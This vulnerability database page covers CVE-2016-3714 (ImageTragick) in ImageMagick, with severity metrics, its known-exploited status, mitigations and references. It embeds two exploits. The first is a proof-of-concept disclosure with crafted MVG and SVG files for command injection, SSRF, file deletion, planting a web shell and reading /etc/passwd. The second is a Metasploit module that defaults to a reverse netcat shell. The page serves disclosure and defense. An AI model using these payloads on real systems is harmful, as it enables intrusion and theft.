CVE-2016-3714 : Detail

CVE-2016-3714

8.4
/
High
A03-Injection
97.21%V3
Local
2016-05-05
16h00 +00:00
2024-09-09
16h20 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The (1) EPHEMERAL, (2) HTTPS, (3) MVG, (4) MSL, (5) TEXT, (6) SHOW, (7) WIN, and (8) PLT coders in ImageMagick before 6.9.3-10 and 7.x before 7.0.1-1 allow remote attackers to execute arbitrary code via shell metacharacters in a crafted image, aka "ImageTragick."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.4 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : ImageMagick Improper Input Validation Vulnerability

Required action : Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2024-09-08 22h00 +00:00

Action is due : 2024-09-29 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 39767

Publication date : 2016-05-03 22h00 +00:00
Author : Nikolay Ermishkin
EDB Verified : No

Nikolay Ermishkin from the Mail.Ru Security Team discovered several vulnerabilities in ImageMagick. We've reported these issues to developers of ImageMagick and they made a fix for RCE in sources and released new version (6.9.3-9 released 2016-04-30 http://legacy.imagemagick.org/script/changelog.php), but this fix seems to be incomplete. We are still working with developers. ImageMagick: Multiple vulnerabilities in image decoder 1. CVE-2016-3714 - Insufficient shell characters filtering leads to (potentially remote) code execution Insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats. ImageMagick allows to process files with external libraries. This feature is called 'delegate'. It is implemented as a system() with command string ('command') from the config file delegates.xml with actual value for different params (input/output filenames etc). Due to insufficient %M param filtering it is possible to conduct shell command injection. One of the default delegate's command is used to handle https requests: "wget" -q -O "%o" "https:%M" where %M is the actual link from the input. It is possible to pass the value like `https://example.com"|ls "-la` and execute unexpected 'ls -la'. (wget or curl should be installed) $ convert 'https://example.com"|ls "-la' out.png total 32 drwxr-xr-x 6 user group 204 Apr 29 23:08 . drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 .. ... The most dangerous part is ImageMagick supports several formats like svg, mvg (thanks to https://hackerone.com/stewie for his research of this file format and idea of the local file read vulnerability in ImageMagick, see below), maybe some others - which allow to include external files from any supported protocol including delegates. As a result, any service, which uses ImageMagick to process user supplied images and uses default delegates.xml / policy.xml, may be vulnerable to this issue. exploit.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)' pop graphic-context exploit.svg -=-=-=-=-=-=-=-=- <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com/image.jpg"|ls "-la" x="0" y="0" height="640px" width="480px"/> </svg> $ convert exploit.mvg out.png total 32 drwxr-xr-x 6 user group 204 Apr 29 23:08 . drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 .. ... ImageMagick tries to guess the type of the file by it's content, so exploitation doesn't depend on the file extension. You can rename exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In addition, ImageMagick's tool 'identify' is also vulnerable, so it can't be used as a protection to filter file by it's content and creates additional attack vectors (e.g. via 'less exploit.jpg', because 'identify' is invoked via lesspipe.sh). Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16 x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest sources from 6 and 7 branches all are vulnerable. Ghostscript and wget (or curl) should be installed on the system for successful PoC execution. For svg PoC ImageMagick's svg parser should be used, not rsvg. All other issues also rely on dangerous ImageMagick feature of external files inclusion from any supported protocol in formats like svg and mvg. 2. CVE-2016-3718 - SSRF It is possible to make HTTP GET or FTP request: ssrf.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context $ convert ssrf.mvg out.png # makes http request to example.com 3. CVE-2016-3715 - File deletion It is possible to delete files by using ImageMagick's 'ephemeral' pseudo protocol which deletes files after reading: delete_file.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/tmp/delete.txt' popgraphic-context $ touch /tmp/delete.txt $ convert delete_file.mvg out.png # deletes /tmp/delete.txt 4. CVE-2016-3716 - File moving It is possible to move image files to file with any extension in any folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and image.gif should exist in known location - /tmp/ for PoC (in real life it may be web service written in PHP, which allows to upload raw txt files and process images with ImageMagick): file_move.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/tmp/msl.txt' popgraphic-context /tmp/msl.txt -=-=-=-=-=-=-=-=- <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="/tmp/image.gif" /> <write filename="/var/www/shell.php" /> </image> /tmp/image.gif - image with php shell inside (https://www.secgeek.net/POC/POC.gif for example) $ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php 5. CVE-2016-3717 - Local file read (independently reported by original research author - https://hackerone.com/stewie) It is possible to get content of the files from the server by using ImageMagick's 'label' pseudo protocol: file_read.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@...c/passwd' pop graphic-context $ convert file_read.mvg out.png # produces file with text rendered from /etc/passwd How to mitigate the vulnerability. Available patches appear to be incomplete. If you use ImageMagick or an affected library, we recommend you mitigate the known vulnerabilities by doing at least one these two things (but preferably both!): 1. Verify that all image files begin with the expected �magic bytes� corresponding to the image file types you support before sending them to ImageMagick for processing. (see FAQ for more info) 2. Use a policy file to disable the vulnerable ImageMagick coders. The global policy for ImageMagick is usually found in �/etc/ImageMagick�. This policy.xml example will disable the coders EPHEMERAL, URL, MVG, and MSL: <policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> </policymap> Vulnerability Disclosure Timeline: April, 21 2016 - file read vulnerability report for one of My.Com services from https://hackerone.com/stewie received by Mail.Ru Security Team. Issue is reportedly known to ImageMagic team. April, 21 2016 - file read vulnerability patched by My.Com development team April, 28 2016 - code execution vulnerability in ImageMagick was found by Nikolay Ermishkin from Mail.Ru Security Team while researching original report April, 30 2016 - code execution vulnerability reported to ImageMagick development team April, 30 2016 - code execution vulnerability fixed by ImageMagick (incomplete fix) April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix) May, 1 2016 - ImageMagic informed of the fix bypass May, 2 2016 - limited disclosure to 'distros' mailing list May, 3 2016 - public disclosure at https://imagetragick.com/
Exploit Database EDB-ID : 39791

Publication date : 2016-05-08 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'ImageMagick Delegate Arbitrary Command Execution', 'Description' => %q{ This module exploits a shell command injection in the way "delegates" (commands for converting files) are processed in ImageMagick versions <= 7.0.1-0 and <= 6.9.3-9 (legacy). Since ImageMagick uses file magic to detect file format, you can create a .png (for example) which is actually a crafted SVG (for example) that triggers the command injection. Tested on Linux, BSD, and OS X. You'll want to choose your payload carefully due to portability concerns. Use cmd/unix/generic if need be. }, 'Author' => [ 'stewie', # Vulnerability discovery 'Nikolay Ermishkin', # Vulnerability discovery 'wvu', # Metasploit module 'hdm' # Metasploit module ], 'References' => [ %w{CVE 2016-3714}, %w{URL https://imagetragick.com/}, %w{URL http://seclists.org/oss-sec/2016/q2/205}, %w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab}, %w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456} ], 'DisclosureDate' => 'May 3 2016', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'BadChars' => "\x22\x27\x5c", # ", ', and \ 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic netcat bash-tcp' } }, 'Targets' => [ ['SVG file', template: 'msf.svg'], # convert msf.png msf.svg ['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg ['MIFF file', template: 'msf.miff'] # convert -label "" msf.svg msf.miff ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat', 'LHOST' => Rex::Socket.source_address, 'DisablePayloadHandler' => false, 'WfsDelay' => 9001 } )) register_options([ OptString.new('FILENAME', [true, 'Output file', 'msf.png']) ]) end def exploit if target.name == 'SVG file' p = Rex::Text.html_encode(payload.encoded) else p = payload.encoded end file_create(template.sub('echo vulnerable', p)) end def template File.read(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-3714', target[:template] )) end end

Products Mentioned

Configuraton 0

Imagemagick>>Imagemagick >> Version To (including) 6.9.3-9

Imagemagick>>Imagemagick >> Version 7.0.0-0

Imagemagick>>Imagemagick >> Version 7.0.1-0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 15.10

Canonical>>Ubuntu_linux >> Version 16.04

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Opensuse>>Leap >> Version 42.1

Opensuse>>Opensuse >> Version 13.2

Suse>>Suse_linux_enterprise_server >> Version 12

References

http://www.securitytracker.com/id/1035742
Tags : vdb-entry, x_refsource_SECTRACK
https://imagetragick.com/
Tags : x_refsource_MISC
http://www.openwall.com/lists/oss-security/2016/05/03/13
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-2990-1
Tags : vendor-advisory, x_refsource_UBUNTU
https://www.exploit-db.com/exploits/39767/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.openwall.com/lists/oss-security/2016/05/03/18
Tags : mailing-list, x_refsource_MLIST
http://www.debian.org/security/2016/dsa-3746
Tags : vendor-advisory, x_refsource_DEBIAN
https://security.gentoo.org/glsa/201611-21
Tags : vendor-advisory, x_refsource_GENTOO
https://www.exploit-db.com/exploits/39791/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.debian.org/security/2016/dsa-3580
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securityfocus.com/bid/89848
Tags : vdb-entry, x_refsource_BID
http://rhn.redhat.com/errata/RHSA-2016-0726.html
Tags : vendor-advisory, x_refsource_REDHAT
https://www.kb.cert.org/vuls/id/250519
Tags : third-party-advisory, x_refsource_CERT-VN